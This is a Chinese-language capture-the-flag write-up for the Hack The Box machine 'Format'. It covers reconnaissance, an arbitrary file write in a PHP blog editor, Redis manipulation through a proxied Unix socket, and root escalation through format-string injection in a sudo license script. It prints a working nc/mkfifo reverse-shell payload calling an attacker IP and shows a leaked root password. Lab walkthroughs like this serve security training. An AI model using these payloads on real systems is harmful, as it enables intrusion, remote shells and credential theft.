HTB Format
信息收集
首先添加域名解析到/etc/hosts
┌──(kali㉿kali)-[~/Tools/Venom/release]
└─$ sudo echo 10.10.11.213 format format.htb >> /etc/hosts
┌──(kali㉿kali)-[~/Tools/Venom/release]
└─$ sudo nmap --min-rate 10000 -p- 10.10.11.213
[sudo] kali 的密码:
Starting Nmap 7.93 ( https://nmap.org ) at 2023-06-02 15:13 CST
Warning: 10.10.11.213 giving up on port because retransmission cap hit (10).
Nmap scan report for bogon (10.10.11.213)
Host is up (0.47s latency).
Not shown: 62147 closed tcp ports (reset), 3385 filtered tcp ports (no-response)
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
3000/tcp open ppp
Nmap done: 1 IP address (1 host up) scanned in 33.59 seconds
┌──(kali㉿kali)-[~/Tools/fscan]
└─$ ./fscan -h 10.10.11.213
___ _
/ _ \ ___ ___ _ __ __ _ ___| | __
/ /_\/____/ __|/ __| '__/ _` |/ __| |/ /
/ /_\\_____\__ \ (__| | | (_| | (__| <
\____/ |___/\___|_| \__,_|\___|_|\_\
fscan version: 1.8.2
start infoscan
trying RunIcmp2
The current user permissions unable to send icmp packets
start ping
(icmp) Target 10.10.11.213 is alive
[*] Icmp alive hosts len is: 1
10.10.11.213:22 open
Open result.txt error, open result.txt: permission denied
10.10.11.213:80 open
Open result.txt error, open result.txt: permission denied
10.10.11.213:3000 open
Open result.txt error, open result.txt: permission denied
[*] alive ports len is: 3
start vulscan
[*] WebTitle: http://10.10.11.213 code:200 len:135 title:None
Open result.txt error, open result.txt: permission denied
[*] WebTitle: http://10.10.11.213:3000 code:301 len:169 title:301 Moved Permanently 跳转url: http://microblog.htb:3000/
Open result.txt error, open result.txt: permission denied
扫描完端口再对端口进行详细的信息收集:
┌──(kali㉿kali)-[~/Tools/Venom/release]
└─$ sudo nmap -sT -sV -O -p 22,80,3000 format
Starting Nmap 7.93 ( https://nmap.org ) at 2023-06-02 15:17 CST
Nmap scan report for format (10.10.11.213)
Host is up (0.35s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0)
80/tcp open http nginx 1.18.0
3000/tcp open http nginx 1.18.0
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Aggressive OS guesses: Linux 5.0 (96%), Linux 4.15 - 5.6 (95%), Linux 5.3 - 5.4 (95%), Linux 2.6.32 (95%), Linux 5.0 - 5.3 (95%), Linux 3.1 (95%), Linux 3.2 (95%), AXIS 210A or 211 Network Camera (Linux 2.6.17) (94%), ASUS RT-N56U WAP (Linux 3.4) (93%), Linux 3.16 (93%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 23.70 seconds
访问http://format.htb
后,发现它跳转子域名了:http://app.microblog.htb
所以我们再添加一个域名解析到/etc/hosts
┌──(kali㉿kali)-[~/Tools/Venom/release]
└─$ sudo echo 10.10.11.213 app.format.htb >> /etc/hosts
然后就可以接着访问了,我们注册一个账号:
注册完登陆就行了
然后我们随便创一个节点:
但是接下来找不到利用点了,F12看看有没有什么东西
$(window).on('load', function(){
//populate from DB
$(".user-first-name").text("Qingfeng");
const sites = ["qingfeng"];
if(sites.length == 0) {
$(".my-blogs-outer").text("No blogs found... get blogging!!");
$(".empty-space-blogs").css("min-height", "20px");
}
else {
for(var i = 0; i < sites.length; i++) {
$(".my-blogs-outer").append(`<div class = "my-blogs-inner"><div class = "my-blogs-name my-blogs-item"><div class = "my-blogs-item-cell">${sites[i]}</div></div><a href = "http://${sites[i]}.microblog.htb" class = "my-blogs-link my-blogs-item"><div class = "my-blogs-item-cell">Visit Site</div></a><a href = "http://${sites[i]}.microblog.htb/edit/" class = "my-blogs-link my-blogs-item"><div class = "my-blogs-item-cell">Edit Site</div></a></div>`)
}
}
const pro = false;
if(!pro) {
$(".pro").css("display", "none");
}
const queryString = window.location.search;
if(queryString) {
const urlParams = new URLSearchParams(queryString);
if(urlParams.get('message') && urlParams.get('status')) {
const status = urlParams.get('status')
const message = urlParams.get('message')
$(".floating-message").css("display", "block");
$(".floating-message").children(".message-content").text(message);
if(status === "fail") {
$(".floating-message").css("background-color", "#AF0606");
}
else {
$(".floating-message").css("background-color", "#4BB543");
}
}
}
});
有这么一段代码,发现其中有一段http://${sites[i]}.microblog.htb
而sites
又是我们自己定义的const sites = ["qingfeng"];
所以这里我们添加/etc/hosts
解析访问看看:
┌──(kali㉿kali)-[~/Tools/Venom/release]
└─$ sudo echo 10.10.11.213 qingfeng.format.htb >> /etc/hosts
发现成功访问,而且下面还有一个@2022 Microblog
后来访问3000端口
有它的源码
我们看一下/edit/index.php
<?php
$username = session_name("username");
session_set_cookie_params(0, '/', '.microblog.htb');
session_start();
if(file_exists("bulletproof.php")) {
require_once "bulletproof.php";
}
if(is_null($_SESSION['username'])) {
header("Location: /");
exit;
}
function checkUserOwnsBlog() {
$redis = new Redis();
$redis->connect('/var/run/redis/redis.sock');
$subdomain = array_shift((explode('.', $_SERVER['HTTP_HOST'])));
$userSites = $redis->LRANGE($_SESSION['username'] . ":sites", 0, -1);
if(!in_array($subdomain, $userSites)) {
header("Location: /");
exit;
}
}
function provisionProUser() {
if(isPro() === "true") {
$blogName = trim(urldecode(getBlogName()));
system("chmod +w /var/www/microblog/" . $blogName);
system("chmod +w /var/www/microblog/" . $blogName . "/edit");
system("cp /var/www/pro-files/bulletproof.php /var/www/microblog/" . $blogName . "/edit/");
system("mkdir /var/www/microblog/" . $blogName . "/uploads && chmod 700 /var/www/microblog/" . $blogName . "/uploads");
system("chmod -w /var/www/microblog/" . $blogName . "/edit && chmod -w /var/www/microblog/" . $blogName);
}
return;
}
//always check user owns blog before proceeding with any actions
checkUserOwnsBlog();
//provision pro environment for new pro users
provisionProUser();
//delete section
if(isset($_POST['action']) && isset($_POST['id'])) {
chdir(getcwd() . "/../content");
$contents = file_get_contents("order.txt");
$contents = str_replace($_POST['id'] . "\n", '', $contents);
file_put_contents("order.txt", $contents);
//delete image file if content is image
$data = file_get_contents($_POST['id']);
$img_check = substr($data, 0, 26);
if($img_check === "<div class = \"blog-image\">") {
$startsAt = strpos($data, "<img src = \"/uploads/") + strlen("<img src = \"/uploads/");
$endsAt = strpos($data, "\" /></div>", $startsAt);
$fileToDelete = substr($data, $startsAt, $endsAt - $startsAt);
chdir(getcwd() . "/../uploads");
$file_pointer = $fileToDelete;
unlink($file_pointer);
chdir(getcwd() . "/../content");
}
$file_pointer = $_POST['id'];
unlink($file_pointer);
return "Section deleted successfully";
}
//add header
if (isset($_POST['header']) && isset($_POST['id'])) {
chdir(getcwd() . "/../content");
$html = "<div class = \"blog-h1 blue-fill\"><b>{$_POST['header']}</b></div>";
$post_file = fopen("{$_POST['id']}", "w");
fwrite($post_file, $html);
fclose($post_file);
$order_file = fopen("order.txt", "a");
fwrite($order_file, $_POST['id'] . "\n");
fclose($order_file);
header("Location: /edit?message=Section added!&status=success");
}
//add text
if (isset($_POST['txt']) && isset($_POST['id'])) {
chdir(getcwd() . "/../content");
$txt_nl = nl2br($_POST['txt']);
$html = "<div class = \"blog-text\">{$txt_nl}</div>";
$post_file = fopen("{$_POST['id']}", "w");
fwrite($post_file, $html);
fclose($post_file);
$order_file = fopen("order.txt", "a");
fwrite($order_file, $_POST['id'] . "\n");
fclose($order_file);
header("Location: /edit?message=Section added!&status=success");
}
//add image
if (isset($_FILES['image']) && isset($_POST['id'])) {
if(isPro() === "false") {
print_r("Pro subscription required to upload images");
header("Location: /edit?message=Pro subscription required&status=fail");
exit();
}
$image = new Bulletproof\Image($_FILES);
$image->setLocation(getcwd() . "/../uploads");
$image->setSize(100, 3000000);
$image->setMime(array('png'));
if($image["image"]) {
$upload = $image->upload();
if($upload) {
$upload_path = "/uploads/" . $upload->getName() . ".png";
$html = "<div class = \"blog-image\"><img src = \"{$upload_path}\" /></div>";
chdir(getcwd() . "/../content");
$post_file = fopen("{$_POST['id']}", "w");
fwrite($post_file, $html);
fclose($post_file);
$order_file = fopen("order.txt", "a");
fwrite($order_file, $_POST['id'] . "\n");
fclose($order_file);
header("Location: /edit?message=Image uploaded successfully&status=success");
}
else {
header("Location: /edit?message=Image upload failed&status=fail");
}
}
}
function isPro() {
if(isset($_SESSION['username'])) {
$redis = new Redis();
$redis->connect('/var/run/redis/redis.sock');
$pro = $redis->HGET($_SESSION['username'], "pro");
return strval($pro);
}
return "false";
}
function getBlogName() {
return '"' . array_shift((explode('.', $_SERVER['HTTP_HOST']))) . '"';
}
function getFirstName() {
if(isset($_SESSION['username'])) {
$redis = new Redis();
$redis->connect('/var/run/redis/redis.sock');
$firstName = $redis->HGET($_SESSION['username'], "first-name");
return "\"" . ucfirst(strval($firstName)) . "\"";
}
}
function fetchPage() {
chdir(getcwd() . "/../content");
$order = file("order.txt", FILE_IGNORE_NEW_LINES);
$html_content = "";
foreach($order as $line) {
$temp = $html_content;
$html_content = $temp . "<div class = \"{$line} blog-indiv-content\">" . file_get_contents($line) . "</div>";
}
return $html_content;
}
?>
这里是可以写文件的,因为两个地方我们都可控
用官方的一个例子来看:
<?php
$fp = fopen('data.txt', 'w');
fwrite($fp, '1');
fwrite($fp, '23');
fclose($fp);
// the content of 'data.txt' is now 123 and not 23!
?>
运行这段代码会生成一个data.txt
,内容为123
我们在http://qingfeng.microblog.htb/edit/
:
随便抓点东西改个包:
POST /edit/index.php HTTP/1.1
Host: qingfeng.microblog.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 161
Origin: http://qingfeng.microblog.htb
Connection: close
Cookie: username=vh07299t0o4p25dj4qhhirpa1b
Upgrade-Insecure-Requests: 1
id=/var/www/microblog/qingfeng/uploads/1.php&txt=<%3fphp+echo+shell_exec("rm+/tmp/f%3bmkfifo+/tmp/f%3bcat+/tmp/f|sh+-i+2>%261|nc+10.10.14.8+9999+>/tmp/f")%3b%3f>
发现我们并不能写入文件,为什么?
先来说为什么要是/var/www/microblog/qingfeng/uploads/1.php
这个路径,注意到/edit/index.php
中这样一段代码:
它创建了/uploads目录并且我们有写入的权限,那为什么还是无法写入呢,可以注意到这里有一个前提条件,isPro()==="true"
再看看isPro()函数
如果这里的username
用户的pro
字段不存在值,就不满足true
所以我们要让redis中存在,就可以用:
curl -X HSET "http://microblog.htb/static/unix:%2Fvar%2Frun%2Fredis%2Fredis.sock:qingfeng%20pro%20true%20a/b"
使得它存在,-X
的意思是使用什么方法请求,例如GET
,POST
,但是为什么这样子可以和redis
数据库交互确实不知
再次发送数据包,请求/qingfeng/uploads/1.php
就可以吃到反弹shell了:
这里反弹shell是利用的rm+/tmp/f%3bmkfifo+/tmp/f%3bcat+/tmp/f|sh+-i+2>%261|nc+10.10.14.8+9999+>/tmp/f
,因为目标环境没有nc -e
,当然你也可以写马之类的连接webshell,看个人喜好
这里的反弹shell的意思分析如下:
接下来就是如何提权了
信息收集一波:
$ find / -perm -u=s -type f 2>/dev/null
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/openssh/ssh-keysign
/usr/bin/newgrp
/usr/bin/fusermount
/usr/bin/passwd
/usr/bin/su
/usr/bin/umount
/usr/bin/sudo
/usr/bin/chfn
/usr/bin/chsh
/usr/bin/mount
/usr/bin/gpasswd
$ netstat -l
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address Foreign Address State
tcp 0 0 localhost:9000 0.0.0.0:* LISTEN
tcp 0 0 0.0.0.0:http 0.0.0.0:* LISTEN
tcp 0 0 0.0.0.0:ssh 0.0.0.0:* LISTEN
tcp 0 0 0.0.0.0:3000 0.0.0.0:* LISTEN
tcp6 0 0 [::]:http [::]:* LISTEN
tcp6 0 0 [::]:ssh [::]:* LISTEN
tcp6 0 0 [::]:3000 [::]:* LISTEN
udp 0 0 0.0.0.0:bootpc 0.0.0.0:*
Active UNIX domain sockets (only servers)
Proto RefCnt Flags Type State I-Node Path
unix 2 [ ACC ] STREAM LISTENING 11327 /run/systemd/private
unix 2 [ ACC ] STREAM LISTENING 11329 /run/systemd/userdb/io.systemd.DynamicUser
unix 2 [ ACC ] STREAM LISTENING 11330 /run/systemd/io.system.ManagedOOM
unix 2 [ ACC ] STREAM LISTENING 11800 /var/run/vmware/guestServicePipe
unix 2 [ ACC ] STREAM LISTENING 11340 /run/systemd/fsck.progress
unix 2 [ ACC ] STREAM LISTENING 11894 /run/dbus/system_bus_socket
unix 2 [ ACC ] STREAM LISTENING 11348 /run/systemd/journal/stdout
unix 2 [ ACC ] SEQPACKET LISTENING 11350 /run/udev/control
unix 2 [ ACC ] STREAM LISTENING 11489 /run/systemd/journal/io.systemd.journal
unix 2 [ ACC ] STREAM LISTENING 13597 /var/run/redis/redis.sock
unix 2 [ ACC ] STREAM LISTENING 13611 /run/php/php7.4-fpm.sock
发现有一个/var/run/redis/redis.sock
,我们可以连接redis
获取所有的键:
$ redis-cli -s var/run/redis/redis.sock
KEYS *
cooper.dooper:sites
cooper.dooper
Redis 的Hgetall 命令用于返回哈希表中,所有的字段和值
我们依次获取:
得到了用户名和密码,可以ssh登陆:
┌──(kali㉿kali)-[~]
└─$ ssh cooper@format
cooper@format's password:
Linux format 5.10.0-22-amd64 #1 SMP Debian 5.10.178-3 (2023-04-22) x86_64
The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Sun Jun 4 02:46:12 2023 from 10.10.16.46
cooper@format:~$
ssh可以登陆那么第一件事情就是sudo -l
提权了
cooper@format:~$ sudo -l
[sudo] password for cooper:
Sorry, try again.
[sudo] password for cooper:
Sorry, try again.
[sudo] password for cooper:
Matching Defaults entries for cooper on format:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User cooper may run the following commands on format:
(root) /usr/bin/license
有一个license,不知道是什么东西,直接输入看看
cooper@format:~$ sudo /usr/bin/license
usage: license [-h] (-p username | -d username | -c license_key)
license: error: one of the arguments -p/--provision -d/--deprovision -c/--check is required
cat看看,发现是一个python脚本
#!/usr/bin/python3
import base64
from cryptography.hazmat.backends import default_backend
from cryptography.hazmat.primitives import hashes
from cryptography.hazmat.primitives.kdf.pbkdf2 import PBKDF2HMAC
from cryptography.fernet import Fernet
import random
import string
from datetime import date
import redis
import argparse
import os
import sys
class License():
def __init__(self):
chars = string.ascii_letters + string.digits + string.punctuation
self.license = ''.join(random.choice(chars) for i in range(40))
self.created = date.today()
if os.geteuid() != 0:
print("")
print("Microblog license key manager can only be run as root")
print("")
sys.exit()
parser = argparse.ArgumentParser(description='Microblog license key manager')
group = parser.add_mutually_exclusive_group(required=True)
group.add_argument('-p', '--provision', help='Provision license key for specified user', metavar='username')
group.add_argument('-d', '--deprovision', help='Deprovision license key for specified user', metavar='username')
group.add_argument('-c', '--check', help='Check if specified license key is valid', metavar='license_key')
args = parser.parse_args()
r = redis.Redis(unix_socket_path='/var/run/redis/redis.sock')
secret = [line.strip() for line in open("/root/license/secret")][0]
secret_encoded = secret.encode()
salt = b'microblogsalt123'
kdf = PBKDF2HMAC(algorithm=hashes.SHA256(),length=32,salt=salt,iterations=100000,backend=default_backend())
encryption_key = base64.urlsafe_b64encode(kdf.derive(secret_encoded))
f = Fernet(encryption_key)
l = License()
#provision
if(args.provision):
user_profile = r.hgetall(args.provision)
if not user_profile:
print("")
print("User does not exist. Please provide valid username.")
print("")
sys.exit()
existing_keys = open("/root/license/keys", "r")
all_keys = existing_keys.readlines()
for user_key in all_keys:
if(user_key.split(":")[0] == args.provision):
print("")
print("License key has already been provisioned for this user")
print("")
sys.exit()
prefix = "microblog"
username = r.hget(args.provision, "username").decode()
firstlast = r.hget(args.provision, "first-name").decode() + r.hget(args.provision, "last-name").decode()
license_key = (prefix + username + "{license.license}" + firstlast).format(license=l)
print("")
print("Plaintext license key:")
print("------------------------------------------------------")
print(license_key)
print("")
license_key_encoded = license_key.encode()
license_key_encrypted = f.encrypt(license_key_encoded)
print("Encrypted license key (distribute to customer):")
print("------------------------------------------------------")
print(license_key_encrypted.decode())
print("")
with open("/root/license/keys", "a") as license_keys_file:
license_keys_file.write(args.provision + ":" + license_key_encrypted.decode() + "\n")
#deprovision
if(args.deprovision):
print("")
print("License key deprovisioning coming soon")
print("")
sys.exit()
#check
if(args.check):
print("")
try:
license_key_decrypted = f.decrypt(args.check.encode())
print("License key valid! Decrypted value:")
print("------------------------------------------------------")
print(license_key_decrypted.decode())
except:
print("License key invalid")
print("")
帮助文档看一看:
cooper@format:~$ sudo /usr/bin/license -h
usage: license [-h] (-p username | -d username | -c license_key)
Microblog license key manager
optional arguments:
-h, --help show this help message and exit
-p username, --provision username
Provision license key for specified user
-d username, --deprovision username
Deprovision license key for specified user
-c license_key, --check license_key
Check if specified license key is valid
我们再redis中创建一个用户,利用模板注入读取密钥:
HMSET qingfeng first-name "{license.__init__.__globals__[secret_encoded]}" last-name qingfeng username qingfeng
cooper@format:~$ sudo /usr/bin/license -p qingfeng
Plaintext license key:
------------------------------------------------------
microblogqingfengH<SZFa~t"7C3[+}1m$j"6m;h!@3YBRHf_y@Z4&gUb'unCR4ckaBL3Pa$$w0rd'qingfeng
Encrypted license key (distribute to customer):
------------------------------------------------------
gAAAAABkfATWk-3TC6uhgKq2MArdozOOf10eC7PRk3KpS7pGh5tFrtJIe81FLGTmmPU-tDfZdcX4w2ywlqatBb21coL8uoYAxWnMg8jh37SCFGTEZZNfva5UjEpkZ5s26T6K6yvc3CdPGH8N-Rr1KCtEQ4DTopaBqIH9R6gVTMj625ReM7iFAqgyP-ycFrzNB0PsN2Dth8F0
利用unCR4ckaBL3Pa$$w0rd
成功读取root密码拿到最后一个flag
root@format:~# cat root.txt|cut -c 1-10
c9c7fb45bf